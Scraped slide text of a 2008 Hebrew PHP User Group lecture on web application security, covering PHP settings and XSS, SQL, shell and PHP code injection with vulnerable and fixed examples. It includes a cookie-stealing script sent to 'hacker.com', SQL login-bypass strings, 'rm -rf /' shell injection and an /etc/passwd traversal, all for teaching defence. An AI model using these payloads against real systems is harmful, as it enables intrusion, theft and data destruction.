PHP ואבטחה - חלק ראשון

Preview:

DESCRIPTION

הרצאה על PHP ואבטחה, זהו החלק הראשון שלה מתוך שניים.A lecture in Hebrew about PHP and security from a meeting of the Israeli PHP User Group.

Citation preview

.Copyright © 2007, Zend Technologies Inc

שחר עברון

,PHPאפליקציות ווב ואבטחהIחלק 

| J an 19, 2008 | 2 PHPואבטחה

?מתי? מה? מי

היא נושא טעון, במיוחד- PHP וב- web, אבטחה ב•ה, מצד אחד web -שחלק גדול ממנו הוא, מכיל הרבה מאוד מידע

)כזה שמשתלם לגנוב אותו(בעל ערך / אישי / רגיש 

ה, מצד שני web -שבו אין חוקים והכל  מערב פרוע “הוא סוג של  ”יכול לקרות

PHPהיא אחת השפות הפופולריות ביותר ב ,web -בייחוד אצלמתכנתים מתחילים שפחות מודעים לסכנות

רוב האפליקציות שנכתבות ב PHP -קל יותר, לכן. הם תוכנה חופשיתלאתר פרצות אבטחה

לפתור בעיות אבטחה) לא מאוד מוצלחים(היו מספר נסיונות , בעברברמת השפה

כללים בסיסיים

| J an 19, 2008 | 4 PHPואבטחה

?מה זה אבטחה ובשביל מה זה טוב

חשוב קודם כל להבין מה זה, בשביל לפתור בעיות אבטחה•בעיות אבטחה “בדיוק  ”:

אובדן פוטנציאלי של מידע רגיש

אובדן פוטנציאלי של שעות עבודה

 אובדן פוטנציאלי שלuptime

== רווחאובדן פוטנציאלי של

מ למנוע• “אבטחה היא אוסף של אמצעים שעלינו לנקות עאובדן פוטנציאלי של רווחאו לצמצם 

| J an 19, 2008 | 5 PHPואבטחה

גישה נכונה לאבטחת אפליקציות ווב

-100%אפליקציה לעולם לא תהיה מאובטחת ב•זו תהיה טעות קונספטואלית לחשוב ככה, וגם אם כן...

 נקיטה של מספר אמצעים חופפים כדי להשיג• –גישת עומק טובה יותראבטחה 

מודעות למה שאנחנו לא מודעים אליו• 100% היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד

מאובטח!ארכיטקטורה יותר חשובה מאבטחה== •

| J an 19, 2008 | 6 PHPואבטחה

!לעולם אסור לבטוח במידע חיצוני

?אבל מה זה בדיוק מידע חיצוני•GET, POST, COOKIEFILES, SERVER ,ENVקבצים על הדיסק , בסיס נתונים

“אין ספק  !“–אם יש ספק 

?מה עושים עם מידע חיצוני•  - validationבדיקת תקינות filtering, –סינון 

•  מותריםHTML Tags לדוגמה whitelisting – –רשימה לבנה 

•  לדוגמה מילים אסורות בפורוםblacklisting – –רשימה שחורה 

 ף - escapingהתאמה לפורמט נדרש - ּחילו

מאובטחתPHP סביבת 

| J an 19, 2008 | 8 PHPואבטחה

display_errors

: Onבפיתוח• משגיאותנקי לחלוטין קוד

 הודעות NOTICEחורי ”מעידות לעיתים קרובות על   )הודעות על משתנים לא מאותחלים: לדוגמה(“אבטחה

: Offבזמן ריצה•מניעה של זליגת מידע פנימי אל המבקרים באתר

 זה לא נראה טוב(-;

| J an 19, 2008 | 9 PHPואבטחה

register_globals

באופן-global scope ירשום משתנים ב, PHP כאשר פועל•'. וכוGET, POST, COOKIE אוטומטי לכל משתנה 

מכובה כברירת(לא נמצא בשימוש רב בשנים האחרונות •אבל עדיין אפשר למצוא אפליקציות4.2) מחדל מאז 

 על  סומכות “ש “.register_globals

הזרקה•  מאפשר  “פותח פרצות אבטחה פוטניאליות רבות  ” –- global namespaceשל משתנים לתוך ה

חובה לאתחל את כל המשתנים  –אם חייבים להתשמש (! E_NOTICE)

:הרגל רע גם מסיבות אחרות• קוד לא נייד(portable)

DeprecatedבPHP 6.0 -

| J an 19, 2008 | 10 PHPואבטחה

magic_quotes_gpc

('),לפני כל גרש (backslash) יוסיף לוכסן , PHP אם מופעל•- GET, POSTשנכנסים ב- null ו(\) לוכסן אחורי (”), גרשיים 

- COOKIE.ו

 שהיה אמור למנוע 'פיצ“• ברמת השפהSQL Injections “ר

מספק פתרון חלקי ביותר, בפועל•אין תמיכה בקידודים שונים

אין תמיכה בכל בסיסי הנתונים השונים

 תמיד עדיף להשתמש בפונקציית escapingייעודית

יש עוד סיבות לכבות חוץ מאבטחה•רע מבחינת ביצועים

ייבוטל ב, לא פורטביליPHP 6.0 -

magic_quotes_gpcלהתבסס על לא , בקיצור•

| J an 19, 2008 | 11 PHPואבטחה

allow_url_*

• allow_url_fopenמאפשרת פתיחה של קבצים מרוחקים בעזרת הstream wrappers -

בפונקציות התומכות בכך') וכוHTTP, FTP, SSH כ "בד(הנתמכים  ,fopen, file_get_contents)ועוד רבות.(

כדאי בהחלט לכבות אם לא צריך, פועל כברירת מחדל

•allow_url_include של קוד הרצה מאפשרת PHP מרוחק דרךstream wrappers

 קיים מאזPHP 5.2

כבוי כברירת מחדל

Code injection waiting to happenאיזה סיבה לעזאזל יש למישהו להפעיל דבר כזה!?!?

התקפות הזרקה Injection Attacks

| J an 19, 2008 | 13 PHPואבטחה

Cross-Site Scripting - XSS

client-side הזרקה של קוד •HTMLCSSJavaScript

אחת החולשות הנפוצות ביותר•

י הדפדפן/ התוקף שותל קוד זדוני שיפורש ויוצג • “יופעל עשל הקורבן

 השחתה•  להתקפות נוספות  מקפצה –יכולה לשמש כ “ “, ,phishing, session hijackingגניבת סיסמאות וכו'

•   persistent –קבועה  non-persistent–לעומת זמנית 

| J an 19, 2008 | 14 PHPואבטחה

- XSSדוגמה

<body> <h1>Welcome to my site</h1> <form> <fieldset title="Search"> Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? $_GET['q'] : ''); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo $_GET['q']; ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> </body>

- XSSכל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל•

| J an 19, 2008 | 15 PHPואבטחה

- XSSדוגמה

JavaScript:בעזרת הזרקת קוד session ID גניבת •

<script>alert(document.cookie);</script> <script>i=new Image(); i.src='http://hacker.com/owned.php?' +

document.cookie;</script>

| J an 19, 2008 | 16 PHPואבטחה

Cross-Site Scripting - XSS

קל מאוד למנוע בעזרת פונקציות, כמו כל התקפות ההזרקה•:חילוף ייעודיות

htmlspecialchars()htmlentities()

חובה לסנן את הקלטHTML, במקרים בהם רוצים להרשות •"רשימה לבנה"לפי 

 לדוגמה - להרשות רק תגים מסויימיםstrong, em, u, div, a, span

 להרשות רק attributes לדוגמה - מסוימים href ולאstyle

 יש ספריות מוכנות לסינוןHTML•http://htmlpurifier.org

 אפשר לבצע לבד בקלות בעזרת tidy אוDOM

| J an 19, 2008 | 17 PHPואבטחה

– XSSדוגמה מתוקנת

Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? htmlspecialchars($_GET['q'], ENT_QUOTES) : ''); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo htmlspecialchars($_GET['q']); ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?>

לפני הדפסה- htmlspecialchars שימוש ב•

| J an 19, 2008 | 18 PHPואבטחה

SQL Injection

הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס•SQLהנתונים ויפורש שם כקוד 

:לדוגמה, יכול להוות בסיס לפעילויות שונות•עקיפה של סיסמאות ושינוי הרשאות

שינוי נתונים

 השחתה של בסיס הנתונים(DOS)

 מחיקה של בסיס הנתונים(DOS)

 הרבה מאוד אפליקציות ווב מעבירות• –בעיה נפוצה מאוד קלט מהמשתמש אל בסיס הנתונים

| J an 19, 2008 | 19 PHPואבטחה

– SQL Injectionדוגמה

$username = $_POST['username']; $password = $_POST['password'];

$sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')";

$res = mysql_query($sql);

בדיקה/ ללא חילוף - SQL שליחה של מידע חיצוני כחלק מ•

מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עעקיפה של מנגנון הסיסמה:

username=' OR '' = '

password=') OR MD5('') = MD5('

ניתן לבצע גם השחתה של בסיס הנתונים ,DOS ,שינוי נתונים.וסיסמאות ועוד

| J an 19, 2008 | 20 PHPואבטחה

SQL Injection

:קל מאוד למנוע בעזרת חילוף, כמו כל התקפות ההזרקה• פונקציות escapingייעודיות של בסיס הנתונים

•mysql_real_escape_string•pg_escape_string

'וכו•

Casting to integer / floatPDO-<quote() addslashes()לא טוב מספיק!

•Prepared StatementsPDO, MySQLiבהרבה מקרים עדיף גם מבחינת ביצועים

| J an 19, 2008 | 21 PHPואבטחה

– SQL Injectionקוד תקין

$con = mysql_connect('....'); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']);

$sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')";

$res = mysql_query($sql);

•  mysql–חילוף 

•  PDO–חילוף 

$pdo = new PDO("mysql:dbname=mydb", 'user', 'password'); $username = $pdo->quote($_POST['username']); $password = $pdo->quote($_POST['password']);

| J an 19, 2008 | 22 PHPואבטחה

– SQL Injectionקוד תקין

$user_id = (int) $_GET['user_id']; $sql = "SELECT * FROM users WHERE id = $user_id";

- Integerהמרה ל•

•Prepared statement - PDO$pdo = new PDO("mysql:dbname=mydb", 'user', 'password');

$stmt = $pdo->prepare( "SELECT 1 FROM users " . "WHERE user = :username AND password = MD5(:password)" );

$result = $stmt->execute(array( 'username' => $username, 'password' => $password) );

| J an 19, 2008 | 23 PHPואבטחה

Shell Command Injection

תוך ניצול של" מערכת ההפעלה"הזרקה של קוד אל •שמריצות פקודות מערכתPHP פקודות 

 אופרטור(``) backtick

 משפחתexec()

 אבל חשוב מאוד להיזהר כאשר מכניסים• –לא נפוץ מאוד מפני שהסכנות גדולות מאוד, פרמטרים לתוך פקודות אלו

| J an 19, 2008 | 24 PHPואבטחה

- Shell Injectionדוגמה

שימוש במידע חיצוני בפקודות מערכת•

מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עמחיקה של כל הקבצים שיש לשרת גישה אליהם:

path=foo; rm -rf /

:Denial of Servicepath=foo; sleep 315360000

...בעיקרון ניתן להריץ כמעט כל פקודת מערכת

// Get a listing of a public directory $folder = $_GET['path']; echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>';

| J an 19, 2008 | 25 PHPואבטחה

Shell Command Injection

קל מאוד למנוע בעזרת פונקציות, כמו כל התקפות ההזרקה•:חילוף ייעודיות

escapeshellarg()escapeshellcmd()השניה לא מחליפה רווחים  –ההבדל ביניהם 

כדאי, אם מכניסים קלט מהמשתמש לתוך פקודות מערכת•ובווידוא שהקלט- whitelist filtering מאוד להשתמש ב

תקין

| J an 19, 2008 | 26 PHPואבטחה

– Shell Injectionקוד תקין

$folder = escapeshellarg($_GET['path']); echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>';

 פרמטר בודד• –חילוף 

 כל הפקודה• –חילוף 

$cmd = escapeshellcmd("ls -l /ftp/public/$folder"); echo '<pre>'; passthru($cmd); echo '</pre>';

| J an 19, 2008 | 27 PHPואבטחה

– Shell Injectionקוד תקין

// White-list filtering: $allowed_paths = array( 'videos', 'images', 'music', 'books', 'uploads'); if (in_array($_GET['path'], $allowed_paths)) { $folder = $_GET['path'];

echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>'; }

סינון לפי רשימה לבנה•

| J an 19, 2008 | 28 PHPואבטחה

PHP Code Injection

לתוך התוכניתPHP הזרקה של קוד •

:פונקציות שצריך לשים אליהם לב•קריאות ל include - או requireעם שם קובץ משתנה

- allow_url_include=Onרגיש בעיקר כש•

eval() preg_replace() עם/e

create_function()

חשוב מאוד, כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ- white-list filteringוvalidation לבצע 

| J an 19, 2008 | 29 PHPואבטחה

- PHP Code Injectionדוגמה

י ניצול • include“קריאת קבצים ע

מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עקבלת רשימה של כל המשתמשים במערכת ההפעלה:

template=../../../../../../../../etc/passwd

קוד זה מאפשר ,מופעלallow_url_include אם •שרירותי על השרתPHP הרצה של קוד 

$tpl = $_GET['template']; include 'templates/' . $tpl;

| J an 19, 2008 | 30 PHPואבטחה

– PHP Code Injectionקוד תקין

י סינון לפי רשימה לבנה• :“המנעות ע

באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק•'וכוinclude, eval מפקודות כמו 

$templates = array( 'blue' => 'templates/blue.phtml', 'aqua' => 'templates/aqua.phtml', 'ugly' => 'templates/ugly.phtml' );

$tpl = (isset($templates[$_GET['template']]) ? $templates[$_GET['template']] : 'templates/blue.phtml');

include $tpl;

| J an 19, 2008 | 31 PHPואבטחה

 התקפות הזרקה –סיכום 

- webהתקפות הזרקה הם כנראה הנפוצות ביותר ב•יחסית קל לאתר ולפתור אותן : החדשות הטובות

וגם באופן הטיפול בהן, כל התקפות ההזרקה דומות באופיין•

“ולאן הוא הולך- data דע מאין בא ה"•האם אפשר לבטוח במקור הנתונים?

מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?

י סינון קלט טוב רק במקרים• “טיפול בהתקפות הזרקה עמסוימים

 כ חילוף עדיף(output escaping) “בד

?שאלות

| J an 19, 2008 | 33 PHPואבטחה

IIבחלק 

Sessionהתקפות •Session InjectionSession Hijacking

טעויות לוגיות ותכנותיות•CSRFחשיפת קבצים סטטיים

גישות ואמצעי אבטחה כלליים•

shared hostingאבטחה בסביבת •

תודה רבה!ושנה טובה